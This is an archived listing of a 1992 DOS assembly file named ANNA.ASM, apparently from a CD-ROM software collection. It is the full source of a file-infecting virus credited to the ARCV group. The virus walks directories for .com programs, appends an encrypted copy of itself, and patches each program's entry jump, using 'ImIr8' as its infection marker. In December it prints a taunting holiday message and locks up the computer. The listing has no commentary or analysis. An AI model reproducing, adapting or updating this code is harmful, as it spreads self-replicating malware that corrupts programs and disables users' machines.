home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ANNA.ASM < prev    next >
Assembly Source File  |  1992-12-01  |  7KB  |  266 lines

  1.  
  2.                                 Name     ANNA
  3.                                 Page 55,132
  4.                                 Title ????
  5.  
  6. len             equ offset marker+5-offset main2
  7. level1len       equ offset level1-offset main3
  8. level2len       equ offset level2-offset main3
  9.  
  10. code segment 
  11.  
  12.                 assume cs:code,ds:code,es:code
  13.  
  14.                 org 0100h
  15.  
  16. main:           xor si,si
  17.                 call level2
  18.                 call level1
  19.                 jmp main2
  20.                 dd 0h
  21.  
  22. main2:          call nextline
  23. nextline:       pop ax
  24.                 sub ax,offset nextline
  25.                 xchg si,ax
  26.                 call level1
  27.                 call level2
  28. main3:          mov ax,word ptr ds:[oldstart+si]    
  29.                 mov cx,word ptr ds:[oldstart+si+2]
  30.                 mov ds:[0100h],ax
  31.                 mov ds:[0102h],cx
  32.  
  33. getdate:        mov ah,2ah
  34.                 int 21h
  35.                 jnc notexit
  36.  
  37. lexit:          jmp exit
  38.  
  39. notexit:        cmp dh,0ch
  40.                 jne getdir
  41.  
  42.                 jmp activ8
  43.  
  44. getdir:         mov ah,47h
  45.                 mov dl,00h
  46.                 push si
  47.                 lea bx,(curdir+si)
  48.                 mov si,bx
  49.                 int 21h
  50.                 jc lexit
  51.  
  52.                 pop si
  53.                 mov byte ptr ds:[flag+si],00h
  54.  
  55. setdta:         mov ah,1ah
  56.                 lea dx,(buff+si)
  57.                 int 21h
  58.  
  59. findfile:       mov ah,4eh
  60.                 mov cx,00h
  61.                 lea dx,(search1+si)
  62.                 int 21h
  63.                 jnc openup
  64.  
  65.                 cmp al,12h
  66.                 jne lexit
  67.                 jmp next_dir
  68.  
  69.  
  70. openup:         mov ah,3dh
  71.                 mov al,02h
  72.                 lea dx,(buff+1eh+si)
  73.                 int 21h
  74.                 jc lexit
  75.                 mov ds:[handle+si],ax
  76.  
  77. movepoint:      mov ax,4202h
  78.                 mov bx,ds:[handle+si]
  79.                 mov cx,0ffffh
  80.                 mov dx,0fffbh
  81.                 int 21h
  82.                 jc lclose
  83.                 jmp checkmark 
  84.  
  85. lclose:         jmp close
  86.  
  87. checkmark:      mov ah,3fh
  88.                 mov bx,ds:[handle+si]
  89.                 mov cx,05h
  90.                 lea dx,(check+si)
  91.                 int 21h
  92.                 jc lclose
  93.                 lea di,(marker+si)
  94.                 lea ax,(check+si)
  95.                 xchg si,ax
  96.                 mov cx,05h
  97. compare:        cmpsb
  98.                 jnz infect
  99.                 loop compare
  100.                 xchg si,ax
  101.                 jmp next_file
  102.  
  103.  
  104. infect:         xchg si,ax
  105.                 mov ax,4200h
  106.                 mov bx,ds:[handle+si]
  107.                 xor cx,cx
  108.                 xor dx,dx
  109.                 int 21h
  110.                 jc lclose
  111.                 mov ah,3fh
  112.                 mov bx,ds:[handle+si]
  113.                 lea dx,(oldstart+si)
  114.                 mov cx,4
  115.                 int 21h
  116.                 jc lclose
  117.                 mov ax,4202h
  118.                 mov bx,ds:[handle+si]
  119.                 xor cx,cx
  120.                 xor dx,dx
  121.                 int 21h
  122.                 jc lclose
  123.                 sub ax,3h
  124.                 mov word ptr ds:[jump+1+si],ax
  125.                 call save
  126.                 mov ax,4200h
  127.                 mov bx,ds:[handle+si]
  128.                 xor cx,cx
  129.                 xor dx,dx
  130.                 int 21h
  131.                 mov ah,40h
  132.                 mov bx,ds:[handle+si]
  133.                 mov cx,3
  134.                 lea dx,(jump+si)
  135.                 int 21h
  136.                 mov ah,3bh
  137.                 lea dx,(bkslash+si)
  138.                 int 21h
  139.  
  140.  
  141.                 jmp close
  142.  
  143. next_dir:       cmp ds:[dir_count],20
  144.                 je exit
  145.                 mov ah,1ah
  146.                 lea dx,(buff2+si)
  147.                 int 21h
  148.                 mov ah,3bh
  149.                 lea dx,(bslsh+si)
  150.                 int 21h
  151.                 cmp byte ptr ds:[flag+si],00h
  152.                 jne nextdir2
  153.                 mov byte ptr ds:[flag+si],0ffh
  154.                 mov ah,4eh
  155.                 lea dx,(search2+si)
  156.                 xor cx,cx 
  157.                 mov bx,cx
  158.                 mov cl,10h
  159.                 int 21h
  160.                 jc exit
  161.                 jmp chdir
  162.  
  163. nextdir2:       mov ah,4fh
  164.                 int 21h
  165.                 jc exit
  166.  
  167.                 inc ds:[dir_count+si] 
  168.  
  169. chdir:          mov ah,3bh
  170.                 lea dx,(buff2+1eh+si)
  171.                 int 21h
  172.                 jmp setdta
  173.  
  174. activ8:         mov ah,09h
  175.                 lea dx,(msg+si)
  176.                 int 21h
  177. crash:          jmp crash
  178.  
  179.  
  180. close:          mov ah,3eh
  181.                 mov bx,ds:[handle+si]
  182.                 int 21h
  183.                  
  184. runold:         mov ax,0100h
  185.                 jmp ax
  186.  
  187. next_file:      mov ah,3eh
  188.                 mov bx,ds:[handle+si]
  189.                 int 21h
  190.  
  191.                 mov ah,4fh
  192.                 int 21h
  193.                 jc next_dir
  194.                  
  195.                 jmp openup
  196.  
  197. exit:           mov ah,3bh
  198.                 lea dx,(curdir+si)
  199.                 int 21h
  200.                 jmp runold
  201.  
  202. info            db '[ANNA]',00h
  203.                 db 'Slartibartfast, ARCV NuKE the French',00h
  204.  
  205.  
  206. msg             db 0dh,0ah,07h,0dh
  207.                 db '   Have a Cool Yule from the ARcV',0dh,0ah 
  208.                 db '          xCept Anna Jones',0dh,0ah 
  209.                 db 'I hope you get run over by a Reindeer',0dh,0ah 
  210.                 db '      Santas bringin',39,' you a Bomb',0dh,0ah 
  211.                 db '    All my Lurve - SLarTiBarTfAsT',0dh,0ah 
  212.                 db '(c) ARcV 1992 - England Raining Again',0dh,0ah
  213.                 db '$'
  214.  
  215. oldstart:       mov ah,4ch
  216.                 int 21h
  217.  
  218. jump            db 0e9h,0,0
  219. flag            db 00h
  220. bslsh           db '\',00h
  221. search2         db '*. ',00h
  222. search1         db '*.com',00h
  223.  
  224. level2:         lea di,(main3+si)
  225.                 mov cx,level2len
  226. enc2:           mov al,byte ptr ds:[di]
  227.                 rol al,4
  228.                 stosb
  229.                 loop enc2
  230.                 ret
  231.  
  232. level1:         lea di,(main3+si)
  233.                 mov cx,level1len
  234. inc1:           xor byte ptr ds:[di],01h
  235. key:            inc di
  236.                 loop inc1
  237.                 ret
  238.  
  239. save:           inc byte ptr ds:[key-1+si]
  240.                 call level2
  241.                 call level1
  242.                 mov ah,40h
  243.                 mov bx,ds:[handle+si]
  244.                 mov cx,len
  245.                 lea dx,(main2+si)
  246.                 int 21h
  247.                 call level1
  248.                 call level2
  249.                 ret
  250.  
  251.  
  252. marker          db 'ImIr8'
  253.  
  254. bkslash         db '\'
  255. curdir          db 64 dup (0)
  256. handle          dw 0h
  257. buff            db 60h dup (0)
  258. buff2           db 60h dup (0)
  259. check           db 5 dup (?) 
  260. dir_count       dw 0h
  261.  
  262.  
  263.  
  264. code ends
  265.  
  266. end main